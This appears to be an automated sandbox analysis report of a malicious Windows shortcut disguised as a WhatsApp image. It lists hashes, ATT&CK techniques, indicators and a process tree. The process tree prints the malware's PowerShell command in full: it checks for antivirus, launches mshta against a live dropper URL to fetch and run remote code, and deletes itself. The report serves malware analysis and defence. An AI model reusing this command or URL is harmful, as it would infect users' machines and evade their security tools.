1be8c45867931b837a5630833a9e2a01846538118f9c8e345c1a23a5f2510343

Analysis

max time kernel
117s
max time network
121s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
29-02-2024 05:05

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General

Target

WhatsApp Görsel 2024-02-28 saat 14.52.35_809ff0ec.jpg.lnk
Size

1KB
MD5

0365118a92333b6faa474aded6b3a6f2
SHA1

0bcac8b38e4e338508606c897eb7e36ad9d8a68e
SHA256

98e44c818340bc1657402ed6b463ae52247f6d52d45d4a5aa0e6fad5b4935b1e
SHA512

08007340cd5d133aae544597937a9cb1de83f29ff068c1aec023f3182dac1b92f7b150d2e0ecb9392f756c8271a759198840718cba82387432093e691dac3eaf

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://thanhancompany.com/grip/FYI

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
4	2572	mshta.exe
6	2572	mshta.exe
7	2572	mshta.exe
8	2572	mshta.exe

Deletes itself 1 IoCs

pid	Process
2540	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1650401615-1019878084-3673944445-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2540	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2540	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2248 wrote to memory of 2540	2248	cmd.exe	29
PID 2248 wrote to memory of 2540	2248	cmd.exe	29
PID 2248 wrote to memory of 2540	2248	cmd.exe	29
PID 2540 wrote to memory of 2572	2540	powershell.exe	30
PID 2540 wrote to memory of 2572	2540	powershell.exe	30
PID 2540 wrote to memory of 2572	2540	powershell.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\WhatsApp Görsel 2024-02-28 saat 14.52.35_809ff0ec.jpg.lnk"
1⤵
- Suspicious use of WriteProcessMemory
PID:2248
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $u = Get-WmiObject -Namespace 'root\SecurityCenter2' -Class AntiVirusProduct -ComputerName $env:computername;foreach($v in $u ){if ($v.displayName -replace 'Windows Defender', ''){Exit}}.(gp -pa 'HKLM:\SOF*\Clas*\Applications\msh*e').('PSChildName')https://thanhancompany.com/grip/FYI;$SMAF = Get-Location;$SMAF = Join-Path $SMAF 'WhatsApp Görsel 2024-02-28 saat 14.52.35_809ff0ec.jpg.lnk';del $SMAF
  2⤵
  - Deletes itself
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2540
- - C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" https://thanhancompany.com/grip/FYI
    3⤵
    - Blocklisted process makes network request
    - Modifies Internet Explorer settings
    PID:2572

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2540-38-0x000000001B320000-0x000000001B602000-memory.dmp

Filesize
2.9MB

Download
memory/2540-39-0x00000000022D0000-0x00000000022D8000-memory.dmp

Filesize
32KB

Download
memory/2540-40-0x000007FEF59E0000-0x000007FEF637D000-memory.dmp

Filesize
9.6MB

Download
memory/2540-44-0x0000000002980000-0x0000000002A00000-memory.dmp

Filesize
512KB

Download
memory/2540-43-0x0000000002980000-0x0000000002A00000-memory.dmp

Filesize
512KB

Download
memory/2540-41-0x0000000002980000-0x0000000002A00000-memory.dmp

Filesize
512KB

Download
memory/2540-42-0x0000000002980000-0x0000000002A00000-memory.dmp

Filesize
512KB

Download
memory/2540-45-0x000007FEF59E0000-0x000007FEF637D000-memory.dmp

Filesize
9.6MB

Download
memory/2540-46-0x000007FEF59E0000-0x000007FEF637D000-memory.dmp

Filesize
9.6MB

Download